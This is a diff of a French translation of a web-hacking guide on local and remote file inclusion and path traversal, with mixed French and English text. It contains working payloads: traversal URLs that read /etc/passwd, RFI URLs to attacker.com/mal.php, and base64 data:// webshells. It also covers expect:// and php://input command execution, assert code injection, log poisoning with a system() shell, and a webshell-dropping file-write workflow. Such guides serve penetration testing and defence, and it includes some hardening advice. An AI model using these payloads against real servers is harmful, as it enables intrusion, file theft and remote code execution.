-1. **Déterminer la profondeur du répertoire :** Déterminez la profondeur de votre répertoire courant en récupérant avec succès le fichier `/etc/passwd` (applicable si le serveur est sous Linux). Un exemple d'URL peut être structuré comme suit, indiquant une profondeur de trois :
+1. **Déterminer la profondeur du répertoire :** Déterminez la profondeur de votre répertoire courant en récupérant avec succès le fichier `/etc/passwd` (applicable si le serveur est basé sur Linux). Un exemple d'URL pourrait être structuré comme suit, indiquant une profondeur de trois :
 ```bash
 http://example.com/index.php?page=../../../etc/passwd # depth of 3
 ```
-2. **Probe for Folders:** Ajoutez le nom du dossier suspect (par ex., `private`) à l'URL, puis revenez à `/etc/passwd`. Le niveau de répertoire supplémentaire nécessite d'incrémenter la profondeur de 1 :
+2. **Rechercher des dossiers :** Ajoutez le nom du dossier suspect (p. ex., `private`) à l'URL, puis revenez à `/etc/passwd`. Le niveau de répertoire supplémentaire nécessite d'incrémenter la profondeur d'un niveau :
 ```bash
 http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
 ```
 3. **Interpréter les résultats :** La réponse du serveur indique si le dossier existe :
-- **Erreur / Aucune sortie :** Le dossier `private` n'existe probablement pas à l'emplacement spécifié.
+- **Erreur / Pas de sortie :** Le dossier `private` n'existe probablement pas à l'emplacement spécifié.
 - **Contenu de `/etc/passwd` :** La présence du dossier `private` est confirmée.
-4. **Exploration récursive :** Les dossiers découverts peuvent être explorés davantage pour des sous-répertoires ou des fichiers en utilisant la même technique ou des méthodes traditionnelles de Local File Inclusion (LFI).
+4. **Exploration récursive :** Les dossiers découverts peuvent être sondés davantage pour des sous-répertoires ou des fichiers en utilisant la même technique ou les méthodes traditionnelles Local File Inclusion (LFI).
 
-Pour explorer des répertoires à différents emplacements du système de fichiers, ajustez le payload en conséquence. Par exemple, pour vérifier si `/var/www/` contient un répertoire `private` (en supposant que le répertoire courant est à une profondeur de 3), utilisez :
+Pour explorer des répertoires à différents emplacements dans le système de fichiers, ajustez le payload en conséquence. Par exemple, pour vérifier si `/var/www/` contient un répertoire `private` (en supposant que le répertoire courant est à une profondeur de 3), utilisez :
 ```bash
 http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
 ```
 ### **Path Truncation Technique**
 
-Path truncation est une méthode utilisée pour manipuler les chemins de fichiers dans les applications web. Elle est souvent utilisée pour accéder à des fichiers restreints en bypassing certaines mesures de sécurité qui ajoutent des caractères supplémentaires à la fin des chemins de fichiers. L'objectif est de construire un chemin de fichier qui, une fois modifié par la mesure de sécurité, pointe toujours vers le fichier désiré.
+Path truncation est une méthode utilisée pour manipuler les chemins de fichiers dans les applications web. Elle est souvent employée pour accéder à des fichiers restreints en contournant certaines mesures de sécurité qui ajoutent des caractères supplémentaires à la fin des chemins de fichiers. L'objectif est de construire un chemin de fichier qui, une fois modifié par la mesure de sécurité, pointe toujours vers le fichier souhaité.
 
-En PHP, plusieurs représentations d'un chemin de fichier peuvent être considérées comme équivalentes en raison du fonctionnement du système de fichiers. Par exemple :
+En PHP, différentes représentations d'un chemin de fichier peuvent être considérées comme équivalentes en raison de la nature du système de fichiers. Par exemple :
 
 - `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` sont tous traités comme le même chemin.
-- Quand les 6 derniers caractères sont `passwd`, l'ajout d'un `/` (le transformant en `passwd/`) ne change pas le fichier ciblé.
-- De même, si `.php` est ajouté à un chemin (comme `shellcode.php`), l'ajout de `/.` à la fin n'altérera pas le fichier accédé.
+- Lorsque les 6 derniers caractères sont `passwd`, ajouter un `/` (ce qui donne `passwd/`) ne change pas le fichier ciblé.
+- De même, si `.php` est ajouté à un chemin de fichier (comme `shellcode.php`), ajouter `/.` à la fin n'altérera pas le fichier accédé.
 
-Les exemples fournis montrent comment utiliser path truncation pour accéder à `/etc/passwd`, une cible fréquente en raison de son contenu sensible (informations sur les comptes utilisateur) :
+Les exemples fournis montrent comment utiliser path truncation pour accéder à `/etc/passwd`, une cible courante en raison de son contenu sensible (informations des comptes utilisateurs) :
 ```
 http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
 http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@@ -127,15 +127,15 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
 ```
 Dans ces scénarios, le nombre de traversées nécessaires peut être d'environ 2027, mais ce nombre peut varier en fonction de la configuration du serveur.
 
-- **Using Dot Segments and Additional Characters**: Les séquences de traversée (`../`) combinées à des segments de points supplémentaires et à des caractères peuvent être utilisées pour naviguer dans le système de fichiers, neutralisant effectivement les chaînes ajoutées par le serveur.
-- **Determining the Required Number of Traversals**: Par essais et erreurs, on peut trouver le nombre précis de séquences `../` nécessaires pour atteindre le répertoire racine puis `/etc/passwd`, en s'assurant que toute chaîne ajoutée (comme `.php`) est neutralisée tout en conservant le chemin désiré (`/etc/passwd`).
-- **Starting with a Fake Directory**: Il est courant de commencer le chemin par un répertoire non existant (comme `a/`). Cette technique est utilisée comme mesure de précaution ou pour satisfaire les exigences de la logique d'analyse de chemin du serveur.
+- **Using Dot Segments and Additional Characters**: Les séquences de traversal (`../`) combinées avec des segments de points supplémentaires et des caractères peuvent être utilisées pour naviguer dans le système de fichiers, en ignorant efficacement les chaînes ajoutées par le serveur.
+- **Determining the Required Number of Traversals**: Par essais et erreurs, on peut trouver le nombre précis de séquences `../` nécessaires pour atteindre la racine puis `/etc/passwd`, en s'assurant que toute chaîne ajoutée (comme `.php`) est neutralisée mais que le chemin désiré (`/etc/passwd`) reste intact.
+- **Starting with a Fake Directory**: Il est courant de commencer le chemin par un répertoire inexistant (comme `a/`). Cette technique est utilisée comme mesure de précaution ou pour satisfaire les exigences de la logique d'analyse des chemins du serveur.
 
-When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method.
+Lors de l'utilisation de techniques de troncature de chemin, il est crucial de comprendre le comportement d'analyse des chemins du serveur et la structure du système de fichiers. Chaque scénario peut nécessiter une approche différente, et des tests sont souvent nécessaires pour trouver la méthode la plus efficace.
 
-**This vulnerability was corrected in PHP 5.3.**
+**Cette vulnérabilité a été corrigée dans PHP 5.3.**
 
-### **Filter bypass tricks**
+### **Astuces pour contourner les filtres**
 ```
 http://example.com/index.php?page=....//....//etc/passwd
 http://example.com/index.php?page=..///////..////..//////etc/passwd
@@ -150,20 +150,20 @@ Dans php, cela est désactivé par défaut car **`allow_url_include`** est **Off
 http://example.com/index.php?page=http://atacker.com/mal.php
 http://example.com/index.php?page=\\attacker.com\shared\mal.php
 ```
-Si pour une raison quelconque **`allow_url_include`** est **On**, mais PHP est **filtering** l'accès aux pages web externes, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), vous pouvez par exemple utiliser le data protocol avec base64 pour décoder un code PHP b64 et egt RCE:
+Si pour une raison quelconque **`allow_url_include`** est **On**, mais que PHP filtre l'accès aux pages web externes, [selon ce post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), vous pouvez par exemple utiliser le protocole data avec base64 pour décoder un code PHP b64 et obtenir RCE:
 ```
 PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
 ```
 > [!TIP]
-> Dans le code précédent, le `+.txt` final a été ajouté parce que l'attaquant avait besoin d'une chaîne se terminant par `.txt`, donc la chaîne se termine par cela et, après le b64 decode, cette partie renverra juste des données inutiles et le vrai code PHP sera inclus (et donc exécuté).
-> 
-> Un autre exemple **n'utilisant pas le protocole `php://`** serait :
+> Dans le code précédent, le `+.txt` final a été ajouté parce que l'attacker avait besoin d'une string qui se terminait par `.txt`, donc la string se termine par `.txt` et après le `b64 decode` cette partie retournera juste du junk et le vrai code PHP sera inclus (et donc exécuté).
+
+Un autre exemple **n'utilisant pas le protocole `php://`** serait :
 ```
 data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
 ```
-## Python élément racine
+## Élément racine Python
 
-En python, dans un code comme celui-ci :
+En Python, dans un code comme celui-ci :
 ```python
 # file_name is controlled by a user
 os.path.join(os.getcwd(), "public", file_name)
@@ -173,17 +173,17 @@ Si l'utilisateur passe un **chemin absolu** à **`file_name`**, le **chemin pré
 os.path.join(os.getcwd(), "public", "/etc/passwd")
 '/etc/passwd'
 ```
-C'est le comportement prévu d'après [la documentation](https://docs.python.org/3.10/library/os.path.html#os.path.join) :
+C'est le comportement attendu selon [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join) :
 
-> Si un composant est un chemin absolu, tous les composants précédents sont ignorés et l'assemblage se poursuit à partir du composant de chemin absolu.
+> Si un composant est un chemin absolu, tous les composants précédents sont ignorés et l'assemblage reprend à partir du composant de chemin absolu.
 
-## Listage des répertoires en Java
+## Java Listing des répertoires
 
-Il semble que si vous avez un Path Traversal en Java et que vous **demandez un répertoire** au lieu d'un fichier, une **liste du répertoire est renvoyée**. Cela ne se produit pas dans d'autres langages (à ma connaissance).
+Il semble que si vous avez une Path Traversal en Java et que vous **demandez un répertoire** au lieu d'un fichier, **le contenu du répertoire est renvoyé**. Cela ne se produit pas dans d'autres langages (à ma connaissance).
 
-## Top 25 paramètres
+## Top 25 des paramètres
 
-Voici la liste des 25 principaux paramètres qui pourraient être vulnérables aux local file inclusion (LFI) (d'après le [lien](https://twitter.com/trbughunters/status/1279768631845494787)) :
+Voici la liste des 25 principaux paramètres qui pourraient être vulnérables aux local file inclusion (LFI) (d'après [link](https://twitter.com/trbughunters/status/1279768631845494787)):
 ```
 ?cat={payload}
 ?dir={payload}
@@ -211,38 +211,38 @@ Voici la liste des 25 principaux paramètres qui pourraient être vulnérables a
 ?mod={payload}
 ?conf={payload}
 ```
-## LFI / RFI utilisant les wrappers et protocoles PHP
+## LFI / RFI en utilisant les wrappers & protocoles PHP
 
 ### php://filter
 
-Les filtres PHP permettent d'effectuer des opérations de **modification sur les données** avant qu'elles ne soient lues ou écrites. Il existe 5 catégories de filtres :
+PHP filters permettent d'effectuer des **opérations de modification sur les données** avant qu'elles ne soient lues ou écrites. Il y a 5 catégories de filtres :
 
 - [String Filters](https://www.php.net/manual/en/filters.string.php):
 - `string.rot13`
 - `string.toupper`
 - `string.tolower`
-- `string.strip_tags`: Supprime les tags des données (tout ce qui se trouve entre les caractères "<" et ">" )
+- `string.strip_tags`: Supprime les balises des données (tout ce qui se trouve entre les caractères "<" et ">")
 - Notez que ce filtre a disparu des versions modernes de PHP
 - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
 - `convert.base64-encode`
 - `convert.base64-decode`
 - `convert.quoted-printable-encode`
 - `convert.quoted-printable-decode`
-- `convert.iconv.*` : Transforme vers un encodage différent(`convert.iconv.<input_enc>.<output_enc>`). Pour obtenir la **liste de tous les encodages** supportés, exécutez dans la console : `iconv -l`
+- `convert.iconv.*` : Transforme vers un encodage différent (`convert.iconv.<input_enc>.<output_enc>`). Pour obtenir la **liste de tous les encodages** pris en charge, exécutez dans la console : `iconv -l`
 
 > [!WARNING]
 > En abusant du filtre de conversion `convert.iconv.*`, vous pouvez **générer du texte arbitraire**, ce qui peut être utile pour écrire du texte arbitraire ou faire en sorte qu'une fonction comme include traite du texte arbitraire. Pour plus d'infos, consultez [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
 
 - [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
-- `zlib.deflate`: Compresse le contenu (utile si vous devez exfiltrer beaucoup d'informations)
+- `zlib.deflate`: Compresse le contenu (utile si vous exfiltrez beaucoup d'informations)
 - `zlib.inflate`: Décompresse les données
 - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
-- `mcrypt.*` : Obsolète
-- `mdecrypt.*` : Obsolète
-- Other Filters
-- En exécutant dans php `var_dump(stream_get_filters());`, vous pouvez trouver quelques filtres **inattendus**:
+- `mcrypt.*` : Déprécié
+- `mdecrypt.*` : Déprécié
+- Autres filtres
+- En exécutant dans php `var_dump(stream_get_filters());`, vous pouvez trouver quelques **filtres inattendus** :
 - `consumed`
-- `dechunk`: reverses HTTP chunked encoding
+- `dechunk`: inverse l'encodage HTTP chunked
 - `convert.*`
 ```php
 # String Filters
@@ -273,37 +273,37 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
 > [!WARNING]
 > La partie "php://filter" n'est pas sensible à la casse
 
-### Using php filters as oracle to read arbitrary files
+### Utiliser les php filters comme oracle pour lire des fichiers arbitraires
 
-[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) est proposée une technique pour lire un fichier local sans que le serveur ne renvoie son contenu. Cette technique est basée sur une boolean exfiltration du fichier (char by char) en utilisant php filters comme oracle. En effet, php filters peuvent être utilisées pour agrandir un texte suffisamment pour que php lance une exception.
+[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) propose une technique pour lire un fichier local sans que la sortie soit renvoyée par le serveur. Cette technique est basée sur une **boolean exfiltration of the file (char by char) using php filters** comme oracle. C'est parce que les php filters peuvent être utilisés pour agrandir un texte suffisamment pour que php lance une exception.
 
 Dans le post original vous trouverez une explication détaillée de la technique, mais voici un résumé rapide :
 
-- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially.
-- This will be used to generate a **text so big when the initial letter is guessed correctly** that php will trigger an **error**
-- The **dechunk** filter will **remove everything if the first char is not an hexadecimal**, so we can know if the first char is hex.
-- This, combined with the previous one (and other filters depending on the guessed letter), will allow us to guess a letter at the beggining of the text by seeing when we do enough transformations to make it not be an hexadecimal character. Because if hex, dechunk won't delete it and the initial bomb will make php error.
-- The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb.
-- Using other transformations like **rot13** at the beginning it’s possible to leak other chars like n, o, p, q, r (and other codecs can be used to move other letters to the hex range).
-- When the initial char is a number it’s needed to base64 encode it and leak the 2 first letters to leak the number.
-- The final problem is to see **how to leak more than the initial letter**. By using order memory filters like **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** is possible to change the order of the chars and get in the first position other letters of the text.
-- And in order to be able to obtain **further data** the idea if to **generate 2 bytes of junk data at the beginning** with **convert.iconv.UTF16.UTF16**, apply **UCS-4LE** to make it **pivot with the next 2 bytes**, and d**elete the data until the junk data** (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.
+- Utilisez le codec **`UCS-4LE`** pour conserver le caractère initial du texte en tête et faire augmenter la taille de la chaîne de façon exponentielle.
+- Cela sert à générer un **texte tellement volumineux lorsque la lettre initiale est devinée correctement** que php déclenchera une **erreur**
+- Le filtre **dechunk** **supprimera tout si le premier caractère n'est pas hexadécimal**, ce qui permet de savoir si le premier caractère est hexadécimal.
+- Cela, combiné avec le précédent (et d'autres filtres selon la lettre testée), permettra de deviner une lettre au début du texte en observant quand on applique suffisamment de transformations pour la rendre non hexadécimale. En effet, si elle est hexadécimale, dechunk ne la supprimera pas et la bombe initiale provoquera l'erreur php.
+- Le codec **convert.iconv.UNICODE.CP930** transforme chaque lettre en la suivante (donc après ce codec : a -> b). Cela permet de découvrir si la première lettre est un `a` par exemple, parce que si l'on applique 6 fois ce codec a->b->c->d->e->f->g, la lettre n'est plus un caractère hexadécimal ; dechunk ne la supprime donc pas et l'erreur php est déclenchée car elle se multiplie avec la bombe initiale.
+- En utilisant d'autres transformations comme **rot13** au début, il est possible de leak d'autres chars comme n, o, p, q, r (et d'autres codecs peuvent être utilisés pour déplacer d'autres lettres dans la plage hexadécimale).
+- Lorsque le caractère initial est un chiffre, il est nécessaire de l'encoder en base64 et de leak les 2 premières lettres pour leak le nombre.
+- Le problème final est de voir **comment leak plus que la lettre initiale**. En utilisant des filtres d'ordre mémoire comme **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** il est possible de changer l'ordre des caractères et de mettre en première position d'autres lettres du texte.
+- Et afin de pouvoir obtenir **données supplémentaires** l'idée est de **générer 2 octets de données inutiles au début** avec **convert.iconv.UTF16.UTF16**, appliquer **UCS-4LE** pour les faire **basculer avec les 2 octets suivants**, et d**supprimer les données jusqu'aux données inutiles** (cela supprimera les 2 premiers octets du texte initial). Continuez ainsi jusqu'à atteindre le bit désiré à leak.
 
-In the post a tool to perform this automatically was also leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
+Dans le post, un outil pour automatiser cela a également été publié : [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
 
 ### php://fd
 
-This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
+Ce wrapper permet d'accéder aux descripteurs de fichiers que le processus a ouverts. Potentiellement utile pour exfiltrer le contenu des fichiers ouverts :
 ```php
 echo file_get_contents("php://fd/3");
 $myfile = fopen("/etc/passwd", "r");
 ```
-Vous pouvez aussi utiliser **php://stdin, php://stdout and php://stderr** pour accéder aux **file descriptors 0, 1 and 2** respectivement (pas sûr que cela puisse être utile dans une attaque)
+Vous pouvez également utiliser **php://stdin, php://stdout et php://stderr** pour accéder aux **descripteurs de fichiers 0, 1 et 2** respectivement (pas sûr de la manière dont cela pourrait être utile dans une attaque)
 
-### zip:// and rar://
+### zip:// et rar://
 
-Téléversez un fichier Zip ou Rar contenant un PHPShell et accédez-y.\
-Pour pouvoir abuser du protocole rar, il **doit être spécifiquement activé**.
+Téléversez un fichier Zip ou Rar contenant un PHPShell à l'intérieur et accédez-y.\
+Pour pouvoir abuser du protocole rar, il doit **être spécifiquement activé**.
 ```bash
 echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
 zip payload.zip payload.php;
@@ -339,13 +339,13 @@ http://example.com/index.php?page=expect://ls
 ```
 ### input://
 
-Spécifiez votre payload dans les paramètres POST :
+Spécifiez votre payload dans les paramètres POST:
 ```bash
 curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
 ```
 ### phar://
 
-Un fichier `.phar` peut être utilisé pour exécuter du code PHP lorsqu'une application web utilise des fonctions telles que `include` pour le chargement de fichiers. L'extrait de code PHP ci-dessous montre la création d'un fichier `.phar` :
+Un fichier `.phar` peut être utilisé pour exécuter du code PHP lorsqu'une application web utilise des fonctions telles que `include` pour le chargement de fichiers. L'extrait de code PHP ci-dessous démontre la création d'un fichier `.phar` :
 ```php
 <?php
 $phar = new Phar('test.phar');
@@ -360,7 +360,7 @@ php --define phar.readonly=0 create_path.php
 ```
 Lors de l'exécution, un fichier nommé `test.phar` sera créé, qui pourrait potentiellement être utilisé pour exploiter des vulnérabilités Local File Inclusion (LFI).
 
-Dans les cas où la LFI se contente seulement de lire un fichier sans exécuter le code PHP contenu — via des fonctions telles que `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ou `filesize()` — il est possible d'essayer d'exploiter une deserialization vulnerability. Cette vulnérabilité est liée à la lecture de fichiers via le protocole `phar`.
+Dans les cas où le LFI se contente de lire des fichiers sans exécuter le code PHP à l'intérieur — via des fonctions telles que `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` ou `filesize()` — on peut tenter d'exploiter une vulnérabilité de désérialisation. Cette vulnérabilité est liée à la lecture de fichiers en utilisant le protocole `phar`.
 
 For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
 
@@ -373,51 +373,51 @@ phar-deserialization.md
 
 ### CVE-2024-2961
 
-It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
-Très bref résumé : un **overflow de 3 octets** dans le heap PHP a été exploité pour **alter the chain of free chunks** d'une taille spécifique afin de pouvoir **write anything in any address**, donc un hook a été ajouté pour appeler **`system`**.\
-Il était possible d'alloc des chunks de tailles spécifiques en abusant d'autres php filters.
+Il était possible d'abuser **de n'importe quelle lecture de fichier arbitraire depuis PHP qui supporte les php filters** pour obtenir une RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
+Très bref résumé : un **3 byte overflow** dans le heap PHP a été abusé pour **altérer la chaîne des free chunks** d'une taille spécifique afin de pouvoir **écrire n'importe quoi à n'importe quelle adresse**, si bien qu'un hook a été ajouté pour appeler **`system`**.\
+Il était possible d'allouer des chunks de tailles spécifiques en abusant davantage des php filters.
 
-### Autres protocoles
+### More protocols
 
 Consultez d'autres [ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
 
-- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Écrit en mémoire ou dans un fichier temporaire (pas sûr de son utilité dans une file inclusion attack)
+- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Écrit en mémoire ou dans un fichier temporaire (pas sûr de l'utilité dans une file inclusion attack)
 - [file://](https://www.php.net/manual/en/wrappers.file.php) — Accès au système de fichiers local
-- [http://](https://www.php.net/manual/en/wrappers.http.php) — Accès aux URLs HTTP(s)
-- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accès aux URLs FTP(s)
+- [http://](https://www.php.net/manual/en/wrappers.http.php) — Accès aux URL HTTP(s)
+- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accès aux URL FTP(s)
 - [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Flux de compression
-- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Trouver des chemins correspondant à un modèle (ne renvoie rien d'imprimable, pas vraiment utile ici)
+- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Recherche de chemins correspondant à un pattern (Ne renvoie rien d'imprimable, donc pas vraiment utile ici)
 - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
 - [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Flux audio (Pas utile pour lire des fichiers arbitraires)
 
 ## LFI via PHP's 'assert'
 
-Les risques de Local File Inclusion (LFI) en PHP sont particulièrement élevés lorsqu'on traite la fonction 'assert', qui peut exécuter du code contenu dans des chaînes. Cela pose un problème surtout si une entrée contenant des caractères de directory traversal comme ".." est vérifiée mais pas correctement assainie.
+Les risques de Local File Inclusion (LFI) en PHP sont particulièrement élevés lorsqu'on traite la fonction 'assert', qui peut exécuter du code contenu dans des chaînes. Ceci est particulièrement problématique si une entrée contenant des caractères de traversée de répertoires comme ".." est vérifiée mais pas correctement assainie.
 
-Par exemple, du code PHP pourrait être conçu pour empêcher le directory traversal de la façon suivante:
+Par exemple, le code PHP pourrait être conçu pour empêcher la traversée de répertoires comme suit :
 ```bash
 assert("strpos('$file', '..') === false") or die("");
 ```
-Bien que cela vise à empêcher le traversal, cela crée involontairement un vecteur pour code injection. Pour exploiter cela afin de lire le contenu d'un fichier, un attaquant pourrait utiliser :
+Bien que cela vise à empêcher le traversal, cela crée involontairement un vecteur pour code injection. Pour exploiter cela afin de lire le contenu des fichiers, un attaquant pourrait utiliser :
 ```plaintext
 ' and die(highlight_file('/etc/passwd')) or '
 ```
-De même, pour exécuter des commandes système arbitraires, on pourrait utiliser :
+De même, pour exécuter des commandes système arbitraires, on peut utiliser :
 ```plaintext
 ' and die(system("id")) or '
 ```
-It's important to **URL-encode these payloads**.
+Il est important de **URL-encode these payloads**.
 
 ## PHP Blind Path Traversal
 
 > [!WARNING]
-> Cette technique est pertinente dans les cas où vous **contrôlez** le **chemin du fichier** d'une **fonction PHP** qui va **accéder à un fichier** mais dont vous ne verrez pas le contenu (comme un simple appel à **`file()`**), le contenu n'étant pas affiché.
+> Cette technique est pertinente dans les cas où vous **control** le **file path** d'une **PHP function** qui va **access a file** mais dont vous ne verrez pas le contenu (comme un simple appel à **`file()`**) et où le contenu n'est pas affiché.
 
 Dans [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) il est expliqué comment un blind path traversal peut être abusé via PHP filter pour **exfiltrate the content of a file via an error oracle**.
 
-En résumé, la technique utilise l'encodage **"UCS-4LE"** pour rendre le contenu d'un fichier si **gros** que la **fonction PHP ouvrant** le fichier déclenche une **erreur**.
+En résumé, la technique utilise l'encodage **"UCS-4LE"** pour rendre le contenu d'un fichier tellement **volumineux** que la **PHP function** qui ouvre le fichier déclenchera une **erreur**.
 
-Puis, pour leak le premier caractère, le filter **`dechunk`** est utilisé avec d'autres comme **base64** ou **rot13**, et enfin les filters **convert.iconv.UCS-4.UCS-4LE** et **convert.iconv.UTF16.UTF-16BE** sont utilisés pour placer d'autres caractères au début et les leak.
+Ensuite, pour leak le premier char le filter **`dechunk`** est utilisé avec d'autres tels que **base64** ou **rot13** et enfin les filters **convert.iconv.UCS-4.UCS-4LE** et **convert.iconv.UTF16.UTF-16BE** sont utilisés pour placer d'autres chars au début et les leak.
 
 **Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
 
@@ -427,20 +427,20 @@ Pour les détails techniques, consultez le post mentionné !
 
 ### Arbitrary File Write via Path Traversal (Webshell RCE)
 
-Lorsque le code côté serveur qui ingère/téléverse des fichiers construit le chemin de destination en utilisant des données contrôlées par l'utilisateur (par ex., un filename ou URL) sans canonicaliser ni valider, les segments `..` et les chemins absolus peuvent s'échapper du répertoire prévu et provoquer une écriture arbitraire de fichier. Si vous pouvez placer le payload sous un répertoire exposé par le web, vous obtenez généralement une RCE non authentifiée en déposant un webshell.
+Lorsque du code côté serveur qui ingère/uploads des fichiers construit le chemin de destination en utilisant des données contrôlées par l'utilisateur (par ex., un filename ou URL) sans canonicaliser ni valider, les segments `..` et les chemins absolus peuvent s'échapper du répertoire prévu et provoquer un arbitrary file write. Si vous pouvez placer le payload sous un web-exposed directory, vous obtenez généralement une RCE non authentifiée en déposant une webshell.
 
 Typical exploitation workflow:
-- Identifier un write primitive dans un endpoint ou un background worker qui accepte un path/filename et écrit du contenu sur le disque (p.ex. ingestion pilotée par messages, XML/JSON command handlers, ZIP extractors, etc.).
-- Déterminer les répertoires exposés au web. Exemples courants :
+- Identifier un write primitive dans un endpoint ou background worker qui accepte un path/filename et écrit du contenu sur le disque (par ex., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
+- Déterminer les web-exposed directories. Exemples courants :
 - Apache/PHP: `/var/www/html/`
 - Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
 - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
-- Concevoir un chemin de traversal qui sort du répertoire de stockage prévu vers le webroot, et inclure votre contenu de webshell.
+- Créer un traversal path qui sort du répertoire de stockage prévu vers le webroot, et inclure le contenu de votre webshell.
 - Accéder au payload déposé et exécuter des commandes.
 
 Notes:
 - Le service vulnérable qui effectue l'écriture peut écouter sur un port non-HTTP (par ex., un JMF XML listener sur TCP 4004). Le portail web principal (port différent) servira ensuite votre payload.
-- Sur les stacks Java, ces écritures de fichiers sont souvent implémentées par une simple concaténation `File`/`Paths`. L'absence de canonicalisation/allow-listing est la faille centrale.
+- Sur les stacks Java, ces écritures de fichier sont souvent implémentées par une simple concaténation `File`/`Paths`. L'absence de canonicalisation/allow-listing est le défaut principal.
 
 Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
 ```xml
@@ -466,26 +466,26 @@ in.transferTo(out);
 </Command>
 </JMF>
 ```
-Mesures de durcissement qui neutralisent cette classe de vulnérabilités :
-- Résoudre le chemin en chemin canonique et s'assurer qu'il est un descendant d'un répertoire de base allow-listé.
-- Rejeter tout chemin contenant `..`, des racines absolues, ou des lettres de lecteur ; préférer des noms de fichiers générés.
-- Exécuter le writer avec un compte peu privilégié et séparer les répertoires d'écriture des racines servies.
+Durcissement qui neutralise cette classe de bugs :
+- Résoudre vers un chemin canonique et vérifier qu'il est un descendant d'un répertoire de base autorisé.
+- Refuser tout chemin contenant `..`, racines absolues, ou lettres de lecteur ; préférer des noms de fichiers générés.
+- Exécuter le writer avec un compte à faibles privilèges et séparer les répertoires d'écriture des racines servies.
 
 ## Remote File Inclusion
 
 Expliqué précédemment, [**follow this link**](#remote-file-inclusion).
 
-### Via le fichier de log Apache/Nginx
+### Via Apache/Nginx log file
 
-Si le serveur Apache ou Nginx est **vulnerable to LFI** dans la fonction include vous pouvez essayer d'accéder à **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, insérer dans le **user agent** ou dans un **paramètre GET** une php shell comme **`<?php system($_GET['c']); ?>`** et inclure ce fichier
+Si le serveur Apache ou Nginx est **vulnérable à LFI** dans la fonction include, vous pouvez essayer d'accéder à **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, placer dans le **user agent** ou dans un paramètre **GET** un php shell comme **`<?php system($_GET['c']); ?>`** et inclure ce fichier
 
 > [!WARNING]
